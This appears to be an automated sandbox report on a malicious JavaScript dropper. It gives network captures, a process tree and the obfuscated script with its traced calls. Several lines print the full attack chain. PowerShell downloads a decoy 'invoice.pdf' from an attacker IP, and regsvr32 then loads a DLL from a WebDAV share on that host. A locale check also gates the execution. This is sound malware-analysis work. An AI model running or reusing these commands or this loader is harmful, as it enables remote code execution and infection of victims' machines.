Jan 10, 2025 14:32:17.823348999 CET	8888	49734	193.143.1.205	192.168.2.7
Jan 10, 2025 14:32:17.870649099 CET	49734	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:32:18.333645105 CET	49734	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:32:25.518248081 CET	52611	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:32:25.518248081 CET	192.168.2.7	1.1.1.1	0xbb5f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:32:25.525203943 CET	1.1.1.1	192.168.2.7	0xbb5f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:26.240809917 CET	1.1.1.1	192.168.2.7	0x24ad	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49717	193.143.1.205	80	2724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:32:14.443645954 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:32:15.231561899 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:32:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:32:15.231575966 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:32:15.231606007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 14:32:15.231616974 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 14:32:15.231628895 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 14:32:15.231751919 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 14:32:15.231765032 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 14:32:15.231780052 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 14:32:15.231790066 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 14:32:15.231802940 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 14:32:15.236543894 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49734	193.143.1.205	8888	4708	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:32:17.035615921 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:32:17.823348999 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:32:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:32:10
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\289215992948720779.js"
Imagebase:	0x7ff7c3840000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:32:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll
Imagebase:	0x7ff7fbf20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:32:11
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:32:11
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:32:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:32:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fbf20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:32:16
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75da10000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:32:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:32:17
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:32:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1572,i,16019868908939990801,6924203002331228427,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ewyzekg() {	ewyzekg() ➔ undefined
1	kfvdhcy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var myxptnc = this[wsekklmxm + famuw + dfrmuv + wujjl + zwjbeujfe + tbdyze + cuqqo + gumpyc] ( this[mwbzkknmt + hqnfv + zxawx + dfrmuv + zxvdi + wsekklmxm + gumpyc][kgropwkf + dfrmuv + zwjbeujfe + famuw + gumpyc + zwjbeujfe + lathffqb + ugodmk + bzujkiol + zwjbeujfe + zxawx + gumpyc] ( mwbzkknmt + hqnfv + zxawx + dfrmuv + zxvdi + wsekklmxm + gumpyc + tlmwa + hqnfv + txsyit + zwjbeujfe + bagllsk + bagllsk ) [tdciact + zwjbeujfe + hzczs + tdciact + zwjbeujfe + famuw + gcuqaqep] ( pbkzas + kimuwgk + gqpleeenh + pyltagye + uoilgbke + kgropwkf + rcodqiyfv + tdciact + tdciact + gqpleeenh + dwqic + rdewt + uoilgbke + rcodqiyfv + hqnfv + gqpleeenh + tdciact + yoeuatm + kgropwkf + rcoevkrk + cuqqo + gumpyc + dfrmuv + rcoevkrk + bagllsk + zbzouvo + splmbjv + famuw + cuqqo + zwjbeujfe + bagllsk + yoeuatm + tbdyze + cuqqo + gumpyc + zwjbeujfe + dfrmuv + cuqqo + famuw + gumpyc + zxvdi + rcoevkrk + cuqqo + famuw + bagllsk + yoeuatm + xqqadpa + rcoevkrk + zxawx + famuw + bagllsk + zwjbeujfe ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vkaescv = 0 ; vkaescv < kfvdhcy[bagllsk + zwjbeujfe + cuqqo + hzczs + gumpyc + txsyit] ; ++ vkaescv )
4	{
5	if ( myxptnc == kfvdhcy[vkaescv] )
6	{
7	myxptnc = true;
8	break ;
9	}
10	}
11	if ( myxptnc !== true )
12	this[mwbzkknmt + hqnfv + zxawx + dfrmuv + zxvdi + wsekklmxm + gumpyc][gchpx + ikszyq + zxvdi + gumpyc] ( );
13	this[mwbzkknmt + hqnfv + zxawx + dfrmuv + zxvdi + wsekklmxm + gumpyc][kgropwkf + dfrmuv + zwjbeujfe + famuw + gumpyc + zwjbeujfe + lathffqb + ugodmk + bzujkiol + zwjbeujfe + zxawx + gumpyc] ( mwbzkknmt + hqnfv + zxawx + dfrmuv + zxvdi + wsekklmxm + gumpyc + tlmwa + hqnfv + txsyit + zwjbeujfe + bagllsk + bagllsk ) [dfrmuv + ikszyq + cuqqo] ( zxawx + xpzkwocxa + gcuqaqep + zbzouvo + doxmgcdo + zxawx + zbzouvo + wsekklmxm + rcoevkrk + dijorc + zwjbeujfe + dfrmuv + wujjl + txsyit + zwjbeujfe + bagllsk + bagllsk + tlmwa + zwjbeujfe + jvlkdah + zwjbeujfe + zbzouvo + bmrskh + kgropwkf + rcoevkrk + xpzkwocxa + xpzkwocxa + famuw + cuqqo + gcuqaqep + zbzouvo + dnpsdl + tbdyze + cuqqo + nkyast + rcoevkrk + xzvnsjx + zwjbeujfe + bmrskh + mwbzkknmt + zwjbeujfe + ugodmk + tdciact + zwjbeujfe + ucgcjche + ikszyq + zwjbeujfe + wujjl + gumpyc + zbzouvo + bmrskh + lathffqb + ikszyq + gumpyc + jmzylzlmt + zxvdi + bagllsk + zwjbeujfe + zbzouvo + zoqnoj + gumpyc + zwjbeujfe + xpzkwocxa + wsekklmxm + zoqnoj + yoeuatm + zxvdi + cuqqo + nkyast + rcoevkrk + zxvdi + zxawx + zwjbeujfe + tlmwa + wsekklmxm + gcuqaqep + eekhhhqx + zbzouvo + txsyit + gumpyc + gumpyc + wsekklmxm + fbfosiuie + doxmgcdo + doxmgcdo + epbftsdk + cabmuul + dxoumyuk + tlmwa + epbftsdk + kjproar + dxoumyuk + tlmwa + epbftsdk + tlmwa + uhhseguk + ofuxeiz + xigfk + doxmgcdo + zxvdi + cuqqo + nkyast + rcoevkrk + zxvdi + zxawx + zwjbeujfe + tlmwa + wsekklmxm + txsyit + wsekklmxm + dnpsdl + cnrvpyhwg + cnrvpyhwg + wujjl + gumpyc + famuw + dfrmuv + gumpyc + zbzouvo + zoqnoj + gumpyc + zwjbeujfe + xpzkwocxa + wsekklmxm + zoqnoj + yoeuatm + zxvdi + cuqqo + nkyast + rcoevkrk + zxvdi + zxawx + zwjbeujfe + tlmwa + wsekklmxm + gcuqaqep + eekhhhqx + cnrvpyhwg + cnrvpyhwg + zxawx + xpzkwocxa + gcuqaqep + zbzouvo + doxmgcdo + zxawx + zbzouvo + cuqqo + zwjbeujfe + gumpyc + zbzouvo + ikszyq + wujjl + zwjbeujfe + zbzouvo + yoeuatm + yoeuatm + epbftsdk + cabmuul + dxoumyuk + tlmwa + epbftsdk + kjproar + dxoumyuk + tlmwa + epbftsdk + tlmwa + uhhseguk + ofuxeiz + xigfk + dynkukxlh + ifpan + ifpan + ifpan + ifpan + yoeuatm + gcuqaqep + famuw + nkyast + dijorc + dijorc + dijorc + dfrmuv + rcoevkrk + rcoevkrk + gumpyc + yoeuatm + cnrvpyhwg + cnrvpyhwg + zxawx + xpzkwocxa + gcuqaqep + zbzouvo + doxmgcdo + zxawx + zbzouvo + dfrmuv + zwjbeujfe + hzczs + wujjl + nkyast + dfrmuv + dxoumyuk + uhhseguk + zbzouvo + doxmgcdo + wujjl + zbzouvo + yoeuatm + yoeuatm + epbftsdk + cabmuul + dxoumyuk + tlmwa + epbftsdk + kjproar + dxoumyuk + tlmwa + epbftsdk + tlmwa + uhhseguk + ofuxeiz + xigfk + dynkukxlh + ifpan + ifpan + ifpan + ifpan + yoeuatm + gcuqaqep + famuw + nkyast + dijorc + dijorc + dijorc + dfrmuv + rcoevkrk + rcoevkrk + gumpyc + yoeuatm + uhhseguk + ofuxeiz + xigfk + ofuxeiz + cabmuul + dxoumyuk + ofuxeiz + mcwqgnk + cabmuul + kjproar + uhhseguk + dxoumyuk + dxoumyuk + mcwqgnk + tlmwa + gcuqaqep + bagllsk + bagllsk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll",0,false) ➔ 0
14	}
15	splmbjv = "h";
16	splmbjv = "J";
17	splmbjv = "f";
18	splmbjv = "L";
19	splmbjv = "Z";
20	splmbjv = "C";
21	splmbjv = "c";
22	splmbjv = "v";
23	splmbjv = "Q";
24	splmbjv = "S";
25	splmbjv = "N";
26	splmbjv = "v";
27	splmbjv = "f";
28	splmbjv = "Q";
29	splmbjv = "y";
30	splmbjv = "p";
31	splmbjv = "Q";
32	splmbjv = "e";
33	splmbjv = "E";
34	splmbjv = "G";
35	splmbjv = "j";
36	splmbjv = "S";
37	splmbjv = "r";
38	splmbjv = "U";
39	splmbjv = "c";
40	splmbjv = "W";
41	splmbjv = "o";
42	splmbjv = "K";
43	splmbjv = "q";
44	splmbjv = "Y";
45	splmbjv = "s";
46	splmbjv = "P";
47	hzczs = "I";
48	hzczs = "C";
49	hzczs = "N";
50	hzczs = "P";
51	hzczs = "y";
52	hzczs = "P";
53	hzczs = "g";
54	bmrskh = "I";
55	bmrskh = "p";
56	bmrskh = "z";
57	bmrskh = "S";
58	bmrskh = "X";
59	bmrskh = "S";
60	bmrskh = "K";
61	bmrskh = "R";
62	bmrskh = "y";
63	bmrskh = "z";
64	bmrskh = "P";
65	bmrskh = "k";
66	bmrskh = "-";
67	mcwqgnk = "x";
68	mcwqgnk = "A";
69	mcwqgnk = "G";
70	mcwqgnk = "B";
71	mcwqgnk = "d";
72	mcwqgnk = "i";
73	mcwqgnk = "H";
74	mcwqgnk = "o";
75	mcwqgnk = "w";
76	mcwqgnk = "B";
77	mcwqgnk = "k";
78	mcwqgnk = "F";
79	mcwqgnk = "i";
80	mcwqgnk = "Z";
81	mcwqgnk = "l";
82	mcwqgnk = "v";
83	mcwqgnk = "B";
84	mcwqgnk = "U";
85	mcwqgnk = "O";
86	mcwqgnk = "g";
87	mcwqgnk = "U";
88	mcwqgnk = "B";
89	mcwqgnk = "f";
90	mcwqgnk = "B";
91	mcwqgnk = "v";
92	mcwqgnk = "V";
93	mcwqgnk = "W";
94	mcwqgnk = "R";
95	mcwqgnk = "e";
96	mcwqgnk = "B";
97	mcwqgnk = "k";
98	mcwqgnk = "h";
99	mcwqgnk = "b";
100	mcwqgnk = "b";
101	mcwqgnk = "Z";
102	mcwqgnk = "x";
103	mcwqgnk = "P";
104	mcwqgnk = "q";
105	mcwqgnk = "a";
106	mcwqgnk = "I";
107	mcwqgnk = "T";
108	mcwqgnk = "X";
109	mcwqgnk = "O";
110	mcwqgnk = "7";
111	kgropwkf = "Z";
112	kgropwkf = "z";
113	kgropwkf = "K";
114	kgropwkf = "e";
115	kgropwkf = "q";
116	kgropwkf = "D";
117	kgropwkf = "c";
118	kgropwkf = "v";
119	kgropwkf = "N";
120	kgropwkf = "Z";
121	kgropwkf = "t";
122	kgropwkf = "k";
123	kgropwkf = "m";
124	kgropwkf = "C";
125	dwqic = "x";
126	dwqic = "N";
127	dwqic = "w";
128	dwqic = "L";
129	dwqic = "X";
130	dwqic = "W";
131	dwqic = "y";
132	dwqic = "D";
133	dwqic = "r";
134	dwqic = "z";
135	dwqic = "W";
136	dwqic = "e";
137	dwqic = "p";
138	dwqic = "z";
139	dwqic = "N";
140	zxawx = "t";
141	zxawx = "q";
142	zxawx = "h";
143	zxawx = "a";
144	zxawx = "W";
145	zxawx = "s";
146	zxawx = "s";
147	zxawx = "V";
148	zxawx = "k";
149	zxawx = "Z";
150	zxawx = "i";
151	zxawx = "a";
152	zxawx = "w";
153	zxawx = "F";
154	zxawx = "L";
155	zxawx = "X";
156	zxawx = "C";
157	zxawx = "G";
158	zxawx = "B";
159	zxawx = "E";
160	zxawx = "U";
161	zxawx = "C";
